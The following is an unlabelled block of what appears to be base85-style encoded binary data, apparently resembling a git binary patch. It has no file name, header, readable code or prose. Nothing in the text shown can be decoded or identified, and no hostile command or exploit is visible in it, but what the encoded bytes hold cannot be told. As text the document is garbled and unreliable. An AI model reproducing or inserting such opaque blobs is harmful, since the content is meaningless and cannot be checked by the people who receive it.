zd9tEQ+EL?OVYkzIqqfj|Vr)Wdyej;{<&1)$@h5jW;EvtMJb}Y|xL@v)lRhi%a>_<2*olfuo2p;0gD{n1I(TSYzL0dPvu5_09~LK$Pq*u+t`d1KoYNo$vMJcH)HQ;@ zs)v-gM^nbt`l3cw#wlu8kqh7GCm0?-=HoY_e1XUJCzNH#(x*_BUX!*I5-#}wD{hGr zX(p@`!H6pcQ|FF{Y94d=Tnwu{Cnj5O;5xtgQ?5fS0^(Cp4`KukFj0(kStNSI20B~o zIlgC6hjG6Cx5ux-6`5dcEs35nHt`BVd)xV6=~}bQjGEsnb9TU z?K@mO-0B+gyJ2KZmW;ovy(@xwvcY=zqnwX{*MfqXVW41i%2>1o(PI@wyDn~i3)%Cv z3`aI}P@y!$R>bc|YBZE2DF11WQQjQSvakwH{xt)_4-1?i0gB=CwwUn}a zIAoT*a3%;$U~%Ih^vnfSYr(=ZLYApKx~9-c@mmBJ&Lj$zRPwbzu?QyR^cUP zyqdqgzqJbpQXB!nX{&8LTxYA(`oUrNI9Vt$7S-?J*!ES#I3G<5Ub@P7IQZ^o&&`;8 zICTStKNAdIR7c*b#mf>#+%0V>Z~gAliu}zJ1>%L#wl5N1Ad$q1456egq^*YBDY~q9 zWYf5yFx^o{i+HgHs_osc(3bm|fIDqpuO`P===vI%0<(g#=DPv{pQAKhGMOVCO!>NI z^CiC=U=QVg)A$fUAEqdnqohzv=fP?*WE&yi&f6d+J7+5*)71hQ82?&X{q_BpQ4x6X-Q(S~EDG}hnMF0E_5XnUiBJEJ7`9!i0wY$#u+T{ zvveqb6>widHOo<~oOnJ9m-Fhls+OD}nRynLYb6{Bg3#L}oy*|o9?a0p{He%hlQZ zJq3zqmL%f_&)bb|0i}NzbRR!b@lH4UdWogb8C7jeF1Bf=@VVI&Svzn1YuN*sNP3P{ zGo+PtrIxIbGW^Jy@sktxYNI!mmb`e=Xq5fL?N!E zOetByq(4#vI@;Qe`cc!RAAHY#M!zT-F9VcH6-Fe|H4E03Ogxj(c9n0+o%s3o?|&yv zu;dfR@Zef@cGahS6v&kLfM9{v+;{+U@gJA6zGvn#UH&l2|K9y;by?1iGlDx7;Dn+FtVS5{XzWluQJ&`@t%C?@L(}9#B-zh5sm?CayNl>_%QXFmib8dSv`rb$wzW6ni0iv<%xpk_Q{AY%#6jm>pDYs$;y*{k6@9wG(gMb^%;e z&ikc`t(~gj>GN9wLZD+Mni190!`b`euHWh26H_AO=W|ld=v^T8;+W^0UpxDzL;GgQ zAw#^m-gmuhuAyKB7T&pIZ-BWezh4iiL*6%0JUGKa-mTdMc<+i%%(-0i`<=$zo7aei z(DWO?bFNlRzMgm@QGr-tpK5@PGb`C+c@KKqmpNsQ#7z_~b;+b^Rs%C0Zwygmv1{te}0 zS$F_{h(bSy|cxK9KqC2iaD`1qiSMmXi$T zZi{_$N4)td@a1Ci?4RK9_*#0_7;mP3d;Z#SzJKj($LF^B{xaw8tofEfN}@Y|WAVXV zQ&Gcp@@vP-?dB`Ht{<$AFL!GYS41XPi1UAe!)wE8kEfcwOgc}i5P*(ndw&}UvLuz2 zyGseUv+C97X+8~M^gGz!mp`2@$+_)c_;uJx_c5mNFv`jQFDSOhTvbg?&U;XH!lZfg z-`<-ApEVjSXK2J`+~1Tp{vFi*yA!T7<#VYb$B#+eR+uaZfLbL05Ut}8;uO5U>gn3Q zo-MDL-VOOkHdgdB>&`#J>~U3vuF0MFy=E~&(q*ZA{Ate5{ibWjpNnCP4pT=rMEv#W z0sSIgGyyKnOkt|t)2E-4Urjjn>7|g8_#GwW*w+9E!v_I@QCHN>ciW)gh5Orug@*0Z z*8sn$m{D#~;HcdHSlqY4m(hPC*Wq<-*{epbqt|U+F>`K%MPk6v^SBHvRpH?D<=-wo~EV!mL5A0TNZ3E?x2fkFGO7GZk=V z;BT}0HR&T6{ms_>dDpgn+0U&%Q2-uMT2}7TuK7;h{bhalsz?aLY?N?1dtE1Z{M)Nr zRfn6pqFTQ-WKOq~7$mdS=ymh`B!Km3x(GEXB|gcLlDz58kJ+26J}#5qm-+5H5tIF1 z#$ME`xoJ6{@iH{i?tcA#oy>pP@u+ICehDU#E2Vc=pH6UV z($l=^VXOLK9NAoxdrv%~q6(0J8kl&mQj0CDO;TYia7QqG=bg!;#Q7)Sca6Ty7lX~;fkE%I`%Ac_fPnMGP|%$3`CW?qO`Byy zN9avok=)^Wks4vP-TRXjvZj5(t2&e0mlJNy=Z*Wfa|`~r)7<6Z)BT@cHJ{IGmp9-1 zNvUbP>28ampAT?eUfpKsRkczNN?U(mlV=u5x&H!CEasXG4rH}DnN&FT1L{yxuD3a`Ua!ZsZOok_F-`!U!S-Bhu*wP9xHt(C+!EK+V->6GtM|bZ-OC~v;p z(ws4en&wCSTW)L9t*l$Go*3op!`S!fSrtC54wpNPFuB>vx!Y8_Kltr2@z!hV&(C6L zDqDZB6@Ae=9X82A3BoqEHy{{tx>Uc;Pz-#?grZV{z%XLp-W&rxR8hMALm>6wFRK{x zw>44^K@pfIutfe8s>J(LRV~=l&d>eg&gq^ZSMLz$-NnQZH{VT{B#z8Ud#Q7VFr8#P zqfzy*w9pNMBpS0NahU_ko}zO3*m|9^!02}=!%%2HYxrjsK_Metf5D7m%A+LMW9t_O zfDl9b89D~oT>p}YpLlvmqCE__038$F&~#zdoV`FN6DY}S7^Z#xde2XnkRN2@qDZ($1xI7NG@ z|9wOaN<@HQrJ^t}a@1vT>g-6fSHCR0;2#_t1q4A-DCaKwKw1EmC^HH<0|4wEfPlgC zQ|&AXfGZUQFAis7I;0`)Ox1aKvCGDg&4H1KF;xp;grOk0l{N8!tvTIU znwv{JDH8n7h^w06$EQZ40_C>&QTJ=qNQooL=1Q(r4s7(+~lPon^2^(f_M^r}SS<>`}c6DE6NJQEb4;6xFK2^dWNrC^v|4bXX-uc_I#9f-`4FhHofF4 zpE&nvTmJx*P^CG6(E_Cx6%M2U#^KF_ zXU&7x{`=Q*V$_1lhFm0nmzmKjnK-Gl1*vXe1uLtk7(kt-($-eH;MuV4-EZl3`t>DR zu*=2u@&>@&iC39I7EwX%JvD(uSUgt!^&Yi=TxpkXZ)cM+FmXJmtkw-T{9+1af881s0S zYqj}q;r=-t1hv>5L7_-_sY>yuN-R-mK&8U)s(s!6{4nQ!X>vFpHLQJi=H%s>921TH zH_A_q0D&1MvdZ-y!U6@AQ-uoAx<=fkf*4&Wo-T?r6r3X6fFBkn_kQjHukFhTe)4%S*=tNloA$FJ|y<4xx^DK$F^Ntj%GQ$dou7O3BPnx0F zmEVkW6?m!ea#;k%SuzG86CtYS=O>W@a=-5X{a9o_9^*QefxFO$`I=09I5}v!zbFcr zo|tI1I_K{DVc)fAtYfJHLuDdS6h9P-AtT4PX2r;{bWsLO^r*ikEPS}Iq=fFB>w0HY zza<4mRH0|p zV?-P^VlSu7DJ>=R!*-R650{-1wp*XPemQ3JjO&qGG^Y)|VtZXqPr5niJ#v}CuAm^< zAqXx9lpacV@SI^n6coF%(|&y$Vx1o)c9%93&0>rn2sug>?zEpt zMjWO(%`|063^d5?1H0IOvU$#icnHgn6VYJ&)Nj9Rcgs?|fFmz~Km_WG*mhsFVmgwX+orBe ztL=<=-58!LqRzS2&N&}TqhiLL1IEu*FSaSE{5{& z&da*qT&$e9mkz)89?U*0=2R{YQnz)05Vv-p`EAt;Cq)XFwk&n90<14RyDsf0xvI^I z)_=i%#cfRJ)KG_vNqtu0CstOr{bAUhy%+r)_WeA@I~DKW_7q2nP5)d9lt1rkzV>HS zqI1Ht7ZtES?GU%2X0;&x+!uj#Tj?%F6a$FWZ=)}puCB-kal&^^d!;;Gs~)2?lgm?6 zvtKotJ*s3-=1?}Da2sTlcU|e*6!ry5zj~za{lB63N8HadrK&xyYvz34zQl(PZg21N zdwD*4uAKrvbFUvHihWdzwm7<6?9dbmEN^UznLdjWpR01eJgVsF>B@fZdR)UWxa&jk zT7UoF(CE&rF{XZR+RkAxBRxx2TCB-_D)KH!vG3b(<$Cs1#d3EySio|9z^ZnC@^Y4l z-~GgW&S#y$Uo2z5%Cyv7EFr6WT+C^q!eZtOI9E8`lwQj@?|Og}Dk&&XQ`{5ZG%j$J zOA&rrvHG@V?)HaYlcwe!9}#{socnP5V(iZ!yK3ZKrKgE`n9TAWWskZjBvg_YcU8f{@f0%Gw_?Dj!YVE&2t8%VVT?yyk7n$Y{E+H>w-FkaDM z=55cQ|5z9vYMd+Ky0kK|o)cg*_&B`B;C{8ak1En?AWAg< z{bF86^tx!9v!$nJ&j>pPF${9CJ(>J7_9+dIgpzj=zm!B3f{jOv6Nb%(rA6mVIA2#vu- zm#v_ch~yw36VHJajxoa+UAM#ph=|Det;>1|&(O+#NGFdZm00cT1t*Hg%o!i(|`$cNU#@CnJA*wjo zFG|LOnKm}JQ{Z+uF0Jo%*jm3KwHc+eHu*%MCv1I?UTaxb&nkh*j2Dw@SEI9|dJav7 zTo;^QlL*&;%?{`O<-Ala&F(h`31ohXh#+7-`S%a@ba^a93Q(C@kncR4{x-TbHa%4# zxaKWO6b8vR)cEwT?IW3FG_XVDS4#qRs-b_u17&*vTX506aKY{N@{b=zNL*mZDUcw& zrLMvaHz7OQvCE};7`iAC9l|8xwP)<*q{g>TAx+`Ti)EQe!=8)Yb`!?HT0p2T3Ny$lKXa{aEiq|f(cQXi3qh1~qtPmyO1f9znQtb2PAYBA#{M?9mnWPV zj7c&&y(mtYla;OWo3G9K)Aw!tdUNODN@flKBQqV*-8=9z0W)JLVU&?7d}bh1kEZxu zb9#8&T3^sD|J}IL+>TXjkfNrR7FU*M{EDitY6HF+e&ovGw<9&uK9;@|o?S(2s{aP_ zGm)_lH&?lF&u7wb5=m>5nbL5>1fNLOVimUTcsouUJt}dQET5)aG|12TSr^Xx?s zRyvIE6-RP`%36AqS*~dT+Dvz2Co)(aE0sUVW%|~H^G#N{%t?3thmLO+!#=EFNyfLo zCJ%4a4+iGn!g)KP3KA8H;MZk#2oEg0z#M*4bSOURJ4~$z!4)paCi2>SPKy-z$&E(i zS(=3~(G2NCB!rgx-`Y{2krBKsDy5%)z|x^}DRm}$L0BNQf1P!1B#OyKQw}UBq}nmE z5}6g9V?in2s!pRIaCGd=pQ0Tuk1?{vR3{>6J`-~#H9TUa)lhKe5uwg&2;e9T7vPSj zdxN7S`L`sIjqT7XZT(vE>x)}#Q*;V{JM5yVNLNPUmpWIJKxr6BJNP*3`zvahB^PDR zKS`Qtu4)C3OmR)^1632x$VjGYGS>Fnau-z~c}A6Kyp-VF%;P|yo@&L8`yXc)hVDZG;)XN1aPbuW9M?C~cdK8d_!f%+lc$4^8u25pe7 z9A`u-s8~T&TNMYdmOOSFUOZhm9X9<060U-HsESAJ&qrhmGbYG)Iv+q(F;+NKxv1p* z_jZ4qY0>e9+Owx6=+QGLj|{Hk@cqOmT#VIhhvsQ1j-u+^Ol?CI9eFR9USFhf6f-6yCaj~&F;hcFq@o?I}Gz=4VYCD1xR5wD) zqWon@D*hn?U%-afJeq>Ll$_wFh{R>G59DF5F39qz1KybXP${ZP5oAW9BOESJJ@STz zL^m<{0aNwjjcKPUwsn~Ipe;03in5s?nBnF}BzxUYJEvFjHsJ$!)~ zJg^-&biDls#3D+dJ&_YsfK{{338KJ8eIHf8wuXdl3TooSi=*^2f>tk$>F_>l_3@e| z;|WqB4%*o&jT)oD?0xWK8j7!R63UPkRAY;|d}1eD4JOo;fG>vRLqy<(ga<*%J267w zhBSN3l-3?8bKsC=yJps#D5k{e0wNo>m)}Gx=w05a;~J}jQg=o2!2edHiq2CM&;%A0 zE8+iqDoOcHp4rx_00lBP-7ZI~MPR$r->_Fy)V!iyi5v<%b&B{csEv1@gTx9?yE_xr z^A(nqN>=U4jefYM>2pi+R{_)zv|{7)3729un+!Hci9K>Gdi-2sUm! zg$U>`%05kGn*6vu+!p-a^$!Oy*KLPkqvJKdlCa>?{!R)`g?|2P`Jmf6B&r31g+vYY z^(zw=xPUD{S|!FVW(^5$wmt7*s0hbL&1T=Q0#V^2j}Cts!|K12tF+g2g#MOeV+%L? z!;`R94^E(`0|joQw4tD%I$u1dLfKNE*pn~?ei^}M zK6-Ctc^&mg)bEAZ^-MwFU_jz@Y*h=XEklzAy`}qG>Vu`NQtbqWCXc7-RM* zv&920f1KU7A%pkK^(w~ht!aH31Fg`DGfnq*8eAXerp57{4kHImN=_K-zY8Dhf2^yn z)VD6Ger4yh7G-x@v+bE(U@XD!ey5sNJBtNA?3lSxo%{XTvAXVHKZ;do-+ANjPht`3 zTCGQUi*$d>)>=jVkrM~4**aW&^G244X>+t~PhgSskPYaEhy8x4$A8DQGRi8>)>Xn( z!)ncGH{bIIDbUt)nNPcK_Vy=C=RViL>vzxUVTl+5@R{LDYF*r$YU;rLiX0=f8k=19FITroo|g zi%7{&b;rM+OSQ%Q?JGTOI$xbYv|#6m&7WvyLZeRcbl~{$$@mcD*XNVTB`*V=odV!m zi5M}JpJsRklOW@Z4b zfYc0U`niPI{d}7OYm!JIMj1`6JZ+66wk>{^k6P+RU2@<;6!%wkM4Ic1v^57NtsSOn z5+B|Onfzq`{7tWwEIx@O7G_w3DF_C4>e_?8^K?pD_4!=aP=9(-4hH82DS{Ouv4$!T z)gP|&y!5;Ny9)z0pqLO+DEZ9*f~t_OW5d2AiX8}bXVrddC+5Z&DdMJ%&xBM_=uvhR zD-A-ctHj{3k*AgDQnpMY861QtBZSX@z|3X|z(fnXdQftDw`bI1eVOux(Lnpu8vK@yjq z#NYU4en1o&SCQOr9VNjrf8b{8V6zNzmTm)t%GY(rYKivsR%0Yl^99~&TJO#Vg~pFI-zR1xa7eo z*W0(W<0iCMVPNUxsP|}yYhzz`_i%15o(#HAx~ZN9RklqvYnDH?VhkZH7`^m+w=!9= z7)nIW3?T=pP`dP*InC%7rNtYdHAy)2AxyY}>>x14{j1BNKchaKL)GCRHuj+QG%YAs zZo!nXW_r44P8a<=`+X^ac{r1wn~6_C%}*!Mr3X&7zsMG>RThknVO{={(+X|lzMv{G zaJA8FPI+Ga+FP z=|cE;EtO6FqI`#FefVN}eedR~86+FSB1Q&EA1o);~Pqge_8L2M{b=*PhrK z_gTB(_snG4zwAUfXuU{NbHP9P8$&H2F-|@wvs0Bd%V+0g#=dhN1|}aEU>r1(-AoCQ zg3O7~os(pgq5>y-VvP{}i+3R82n#sudzb=92@Az_DdMsz2t!cdkSH3JB#*~Ba+0#2 zKd|GhjwXN^g%?-m`r8yOMzd=6W z%QNxj%cOEYkKv^bm}~w^v26mrs&Nhm!Jdp2_xTOHxLL0xKKmZ=sxYZv7u3JjJF@qA zi9v~i0QV$Pp&#-a{JO9H^AD_r0;?dc-UWb*n-p!HnT>(-bBcw5zL2c+^y8+S{B!`8 zXFe8hHj4b9c!Ax^yjXp8yDwlx1x;`PC=O=4p`Mls!F^FJi;G1~Pk|c|rvS1Qc`hbG z&_4t!JQCg%PGPYvPz2fGLGr+rEANVvo}(X#8JXd}mTr&eEha}vjKykX&p=_p1qd)U zTp;!#hlUX`78I3>4Tna6m^w}8ww^c<3((RgHHp}7-liS%`d7rMnuZN%MU`Z5U$CC~}O`2rE61&2oo!D!xnj!$RBp5G;H@$Qi!2~zGU zS&h$YM`N>6c!qLzh-toxs4Fl5nFeG236XNfs-$Gj+}?O_Q@v?$&*jYvxEQF7*_Ss} zf)lqOggJ{>_(TlblOGBYKEB=5eojBRuNbmCq!P%bm}E*Es@oO{QR0ngRiJ3$<&67> zR_F|+c3l9mNURFJB*bD3T7=wl~$xE&5=yOay`LI^?Wz;cu*s z!RGl!0~UJpI)qpVeAh5@5zi6TNUWaEt*U0MG-8udR+|POP#{P{Sy9iK$c7M?GH6gF z9t)3YLM##wE3Ck6ufqkIX@OgX0QxGrn{Fw9`t^7AHKPP`UTnyc zF`KVaIQcj+pv_{KSq!el#^Dm2VItwGGDIN=7KX~UyHmSz)w7S2*^`8fxG@A~Xrbbl zOI5}jd#=oRhnD@nM~k$Hj$gmLP^DvMul%wylK1T;BHVe&8lF3F9_sD&wpsAEWetQy zfA)v{fVZnZ1Q|}Jn6Jk*W-B`3fzi7kEuNt&4|4hw8_;#OmP5Jw-sE#s3rd|mFd40D zS{XBYzBs=(Uw1ie0x04bC948yWi?h5{0!Gk@E7wtolRCK-)+W_D;MoByCeZLrHR9+rF+{)g8x zR13DvHW^B*v43no*^5_=SgJdV;5BgYkh9^tuEpA~+a6W$wb6 z$XjHnIBA$%+Iiv2h60_&s_BYMkBY?FdiEEL(MKjcp(94z4g&97=!+DMOi|xvctDR`LCscs*n8rS**GH4TL=Z6( z{OM!govGcKH{WN#Un{?fjI_*OfCRy^ut?l# zD!#|UE=rXWSA5P@c!Ka3>x&~H{9lG(Z(aRqbxyy9mvFQA=jBWn1B~{-ZtT(%tbpg& z6@w=Z5<;Uzg!CCMvBlpFfg?ggI8dN>77#I9Q(jP8U*6g1Nn(me#41NAkL6)%Q47xd z`6O`&?S}8$#(4-rC)i;kYU!s@+PQ2O6dEQNEU|1w0?O<{{IM4+N&Gry3xwF|AWFvs z*mZF7iB;b_I?lVzR@E}l&@t|B?<;}m@&#KDV1$=+bIXf#mk+3yX*OYB%&@-ahC?y3 z(o@VRb-GY6rRpfRsQmWph_Qf_hoL&k*q}h>i1dn_!)1v=G-ojf#@Hoex@;By6hwRC z2&15W$W=yMfFj0*hes+yR28;m%bV)G2D9VxyQ-IJ=UtJdLJc0r0OVkHm(EeVlU~wi zC88_GP)O#N&uS#^>e1=M8?Uw~@yX;52SY8Nhr`=`cR~qi`V7M3+5@+C`Xchx?l;Kp zA-**WFXqK+ifKgl?^e_r(E-i?<(0ea{ zt_8Qj@`OqK$bTz<0n@_u**O}KWYphp$-=H*`o`_J6tFG-Ivq>#6b`KSk=nm*2cl^g zj{1@T9n$F;z*r(9CIvd`v;$Vhqj{&F2iQ{(@50rWKDQCQ(uz=dEbUvCKYO_XWCovX zu+GWO9 z@|5yj@4DJ@r)^7zz;}t`T*s$I)%kjT7Q&%^(M;_exnLSjzb@wDe=k}FopEy!G!w6X zIWGeEA~W+X_0V?;y!EbQa8OWwUuAOZ?5wPebO2SiBQa_VOu$6xNX%ZjP_7E6`SBg!R1W$ip9Xm_e&;PID%l>BEzgvc zwSDDoYW-#2USZ4FCFuNC?&Mi(k5ZV^e#b{Dtf9bJZzQ4Phm6o-;wUe2VWsw+7 zFL{-7zg4~@0fdEC+p^o^ml%|CdAXw$tzRc2XJG1D#b|bs0}QpvTY)N5V66oG26XxU zx2ONvjImGGCfDfVLQGbRCi`HJ4svUDM%H^@_qYe zLx!~gLRc%53fC-SieKg)Mz6B%^pknrN{N0~@|V@|i@}SsW|!qGMargatK~yzmC z&%+QIz7;owdJ7VlIVS%njYJ|1rzozv9jl6!TJhTwpH;J=FUVkquI!QlUHH={Pv~b@ zz=sk)z!;melBn+CwvWPTTBUDuQop50NyRWqd)|I@Ebbp1jL8;)+oB#(8*x8YOMHk+ ztRrMS`ew${o({B8KY!B46ZW&b)(dbx=l~x1O9606(%0u?A}fCH7lWIc=0lZoe0GMP z1zbm!mm5_aX_{P(?AFd>=T05<{neH`ZNJUAxJWN4Ll{KHwq*=$(S;gWsJ??ju%Sxe z?eP`?G~p5@L00V#SdS`TI}JhCkl-++Q*_Te8AomeP!o% zau8RP;{(_5xW7I3a!<0WHmaK?$9oo89Ns||aFNdezTX+V1HAbU;Q(OXT!>{2H=(De zm;)VoX;x=U>b)}=-NDo4Nl=Iy;Q+ewK%N0*f~8JQdS)wX#Z^*%xz>lorgSh{wj^p` z^%%fNJ+k`eqD9aF@h)4K`3uk=Zf(R8o^cNa2G!HxJ$?Szq+yRM^Jl!Xt?dsT4pXhd z!Y6KZ#`(jvrU4laE?t(SiM?LLZJoW#j5#O%sboLN>HwR#S-+CBdAkz;mcQZ7JJ`|T?OZGH^k@0@k%3ZrxUH3elwaU?|oOgsG&EU?G) zu|!>OB4z@YJQE$rK^&3fLazq5fE@VAqgiHZNKh4tHQPt1^!E`qLg^45^pXpjT;_uh z@W5G#mvioymGC#hODc+sE8NzFrg)q)Io2qV#N?F@b6+P5++A&_J?QyHl0ndqE@*H^ zqSj#F+iK5Jy&p!UNq-m^FDKOucuXvXzhcFLI|RGHA5Ke58dnQ5ngLa=%;o6coQw7@ zfVu`~&OOL(4qDV0=c>$Bx%!5ZTJib+n3*~R3dWLCg}FdP(w>3wz)wSD*dG+g4g;OK z6ml>w2O$!doLvIZ69Q4B6l;@+Y((?cAw~pj>uMgHROx<>*`t^SWfA(l~mz<>+U zfd}Eg&Yrp&`NU6K>hS5qLH+iBa@}V!j?>p$C6&i+@;5DHaz}^PAE`+`zB4C(A|da7 zFa*^6_e&->pUiTVId$RdmEOP%??{d8?qH)EtXPoRyKo*C1Gut9NRi;U@!wELm~Q8w zb#ZPGZd_cO8nBQ0?9ECtt9TilH=fTo_;nmbL_}msdo@*ETWF~_8P5K6S^i<6Nx)u= zZMw7ub!Zj%vrYu(K!RAnEGNK?I!s;lZHbn|1t|(&wBX49JfHWaCg!~u4w2v5+sjVP zOwCUBG+yU6xr75dW2vt1Ufufn-c(7!(T9Mxu$g5Exu5reh^^+k{(y$FbUR3({AG_e zSCXxX_QJn^zck7uv8n+(A=zTI|Zg)2smgFwi6041M^53PY{`#Yq9J>m`}>=_ zGlx5FovHSnIawLUpD+M{V5gZCo}lx&70OQbWRNxn~?w) zp!9Y##{VX3-+w*%RQ#>)Ts3M*A~M9XQf~_!{G{^&h{4I;Px-?h4w}Fw|B^d(KHbD9 zcM#&c*W}yr!$K{Z-hYLfjEo;T?|dD07(rk;Lnk)-wtHP7=EFjYE-@%GHI*&3)Tj<0 zW-h{ns-fMTihf-@D(8RSMUba0f48!nk-fp=)sX#(S)=2eSXCJyAL+xyw@#mm$p&!( z=?eRwTAcxsb&TAJHS_EDOA$}sdRq)Wl{?k2tuQ#>yFHA#UtGB9$ua*y31dt0v{$nM zz|Mfr;^qUTO7yaE^WBxG-9)C`hqcKHicMkCPv5<*?-yS?)stZTI!|ik*8g@f^ij?n zeK}s+eA{05RQ`BV+sWVc_>4gskd3VW{`YTo);QO&d(9On6ph2L$fQ5KN-$~tZ)>!)_9T2pp1llS4m0(u7n_xIdre-) zYo%oJXA;zTvHX4;g=98p-roAdjhdt&HIt7%6>Y=5tT9sOBU-u>V;9ysl`1$$lhJqpV=%(7sekLdJM+)5FbM z9b!GHsb41d!Exum(*FK>BH)M3-~0zL|0C)wH zT$Cju{V+R2RWNQ26>X8D`b5Hgb;%vof=+A^*y%cxFX5GJjKkKkXZvrp(tekdJg6U zU~Q64&LRjElzDPfF)X+d($&vaNLGP1h#8YSRk#~DsvuO32aja2{tdbk8{kcs6 zdM^QG=fiIYfkWRDi@X-uyb-*rd6O=gtpY8W!=Z$8{nRY%4NnSJOh^bQNw=H}N(lNX zdmSdL1IO`I`nuo8~k`qj*3n^c@n z2|RjJENz0I#QfQ5V4!nhVGDj%K@^sJLrvM^I1w#6+WP(F74f00eol?_<3Tl1v-7_@ zm_#kR2Lgh83nReU6zhD5yx`5$B8 zbwN$w%@vew8}4(DyO1U+84?NPf$O$6`rQ1%pHe2>#IJf)z|5e=`6z>&w;g$RITOi# zf6a;B4j6Y@uXgt+Rqt=Px4!cK``n}c47!`UzjNjj=2m<@-00B$_m+QTBimx6bFXP- zVf~%Dv~An$pVk^MQ$KU(Nva`zRIQZ*iGsqyTR(by?yhb7$+}-q;hFQFX0%X1UV4^#pUoJ|%Lwf>o*?n9% zI2ffu#q2~_Z+G+~AK5?qU5W*Zi(WOB>6z#I|FnzISmFRXqGwq%2>GaR@(bV9%lg#a zFd-{T(vd|rp8iI)i%@}K6s(`M5TNqp$lzl6 zS`l@i;W&b+NZZecQu=JE@iq%yID-=tIBw!~(e}nTVEfnL)XB*SqNB-uJLYk>=5hJ# zzTrP;^?yVfU(gX;#9$!9Hm3As% zja`C;eiCtGKr3`B;rr1;YOr!a8ftQ7AjVCbn6t5m4K`dPW#nb$Wn^~##e72+4n=|T zfBOR|H>ePq=O*pt97t)NJZ2pVDW>#{n$doiLo3Of09`46J(|Vvf~a`#U#yJbI+9j z!8DERK~y0C2rvCMMAL~odBlw_UQ-kB-vM~leO=9=VyP&(s@9JQi5J$B+dEv?+4GTkvLV_+RDFZfF_t{@1gMc{Y^fV#^ z79sx3W7V1*s=yRHryQn*4|p}hhYKO2Tkgy0`XG0^O2@B$wk0It0MoX}=loage)Vm> z-tv2=a&eBKGe!LT#>m~Q{C|z~G~AEqJCg}70Ld(HF{#AGj*d^nx)^?h9BI0kwI z#L_Tzw=Ml+Mn(o#%!XLp#^6;z$@!1T$?ooMudb_An_Qn#YAk?XCFyk_CG7iqaZnXC zVdOW~2p`VKSennq2nC@DN%)o`%H^Yyr*E$qql#L}+Hsldf*wO4AgH28y@xi{#nt6* z{f*1ReRIXxoY+RAy_2=|_?iEB#G#lQokNm7+Q8Xq#MkY`DuqA#$GM$r$|ZqYzqG?o z0ILk^Qk%wEBqG&{)zx?_#1tPL(P9e3c0Yl!`n~hLnYdjI%~uREzWS=)_}*WB&wy1` zAjh}s72Ih}5-TkwCidZ@;??8$mKC9(M> z@bVoGz7mbfzGo92JQGcjUwLZ~wRz{&GkEjVqkoB4$WgF7|e z5^__2PoHOGgbPHWYJ36FLqk+QRTmeR&SAj(2y{Uq7HAfUll0E5)tf#fyHQ5aXwXnc zDr|IOf>GT6-CTumXPVjQv;=hrOsxbn$HZH{kIz(lCk$$@eUOS{opZ3XG z6O2c$h<^7T_)96!~^LA1-Qwj&Rp4Qvt(B7l5^KlYO|v zm+VHf7Lfo#({B7^ZYWZ!k3Y`W^zNoG7rSHq@BI2za(m?r#czu^mIL`Mv}o)vx@;C9 z7G1rKXY-MM&VE2)sq-f15h^704sfLeMo0sIxm%+q|Dm;x8mZ$SR}d6q*JEG_K$_r@ zr+PTP_i|aPyTFybedycTa`f0C$b0-MmrzT7l2E9i6HRBa{YfzdMO0OPAtCeLfBd3e zI$&FY0R!0v)XwZ1;l*Ym5T}T=wne>X!0;!t7(J z7Imb-@&F-AA7KNI4KErQ|WO^}gCQ#^pO_vPd zE2b0D*L;Nc@|7mNls8!Jz3NRs$00z9t6!b^&d(mjjpqZsxKg)+Q z?r({K^3siQX^ofb-ZTZcFbwy}#Kf4N%poHmpma}xmGpmj8Xq5@C*@W+J5_5rlvrL~ zzHs^H@Zi9x(f)OZv8;#tyRGAdxH#gGI>2TycHbA3&Z-gzpyo4{GRzBF%==HxYspX3 zy_;t7nE}%jw;w;g0R@%+Jf4LIgY{GCBY#Gd4GavRLZJ5@0f2GO&z=Z^$Vd^FH7SUg z{>$*-NTjRj9Y$91`vtu4QJ@jhn z8~|{;2jb~Hq$jSvG7)BtStX8zF^ZCtp9`R&o&oi7AXq^twg|OT^85 zT1c61a-y~{8i*Bt5{g!^#hO6np4+rCFs2M#B~T8yeW+a#1E5pnLOQK9@{58BXBqt9 zYW+wVQQTj(uo0AdDbs!j7J&3cth37bt^{4 z3{v|o#>D{}kHEmr`pTq%UF?I#DY$A0#Y@9$ZCJ8y^{%pZU+b|{4IJnun*cu6S}-#W zcmZ0Jhe(8*D3zWkEL#|_u3uyP4QI$!v6mhYHr#Bp$KFi9<%Il?C*(1lR{|o>< zjzqtUWVk7Z7zj@E+_3(>?)* zp`$C1(M$%<(ir}BzL3gxd*X0yeAw}_84>Jshk>4WHd8*Iak=JD)iLo9xXuTHdXW&B zwpE7BpVr;ypX7rwpE{Er@n@3%T*WBLo<2{bCy?i+K)|^1n4M7{6v@jF?Kn(33-Jl$ zr%u=C3i+ONNL8-9d^Q->Pvj8+cM%tdT?hF{U6H=knNk(tEZpc+rdN|E2IVr3 z09P-(U}w%6D~ZI74W3^|uk0hP~JWM}|rNz^S3C}$&^fLUx) zVk%Xx+>)s@PZ$k?;!;yZ!iU|m#o{>2tobCxu`EVw=}VGzqc4NpEN3?;IrN7kp@8`2 z`R+I-DV)5~xhB~@+4tE588{!5Qad26=Hq~}VM}JgDSucMNauJULx<=k_v^PaQOsvE z6DS(-SN-Y)ypQgUztwWtMA^}^u#qIjhUVL4Ei|mp8!o?KRW+0snNlQUB!&zduuK#e zX0wNi$2Mbx_Rju2wE7wjHKkK7m|wmMNSQzPap1$)K;ihchb^;swINpp4=s*iEl;UP4lGSN+WH6OAU8D^F^y z8KW6FEJWj*2+~u5iEEdS@CDM1#y0ii6NN9xa82szOw&U75Bd!a4avjo^%Gmc`FPCv z=sF72l?(gT`}o|1_0gMA9t>C^RtBg{7C2l9kEj>I3^pC6V~3G*h)F-&K=M|FgR3`{ z-Fiqj#5mGhoc|^YmRr^pCM#+uPiIDHkzn)B=*%CxHX2vKF(~6DR(w<{=hj!>?_8fZ z@jK8Bi}ki-n5^~r;l)B+d6D5Svd_KZ_v=JN+Eg6j5g4)CldPkDhm9WH3G9_gis~jLaqrs z^Zm4~?QV@?soLt3FlTzU1SYG<>aRo$?1)FqCVa;YOe{Ios6ozI4psbb;+TcCptq6K zFXWgDu=7DIb^;CI^I2J#C`)D!bb(qHJ}S}&OwSto!sy3EQ@c}%m#knN57C$ESH(1# z#oq#w!CHv2xhIW!$y(vZhCy5T-Y8?BYCFD^#9zQWZtWe#E){F^Z|L z76qG{Z3%9)gXf?$*tb+jVrnUAbOlL?O6Q@)Rz+y68YEV_d+CC)P(5&2M0nDz>GGaL z0RVhJ)#60BE^|d?;NuK=XlVV;QL_@$qv2K*VnUBzi)W^OaY{;NiSrq~gu)sPQ)?6* zFZTDoC`DasPhGVFGo!&*OL?N-(0R`oa?R+`|C%e{WQ>&HVvw?~Iw1`^UkKAjRRThd z3bC7S%q%6P$rx~gv1|=0OnW^wV6~n|>i>3CB%th3n#zM|CV#=jisB1r*482XbEud! 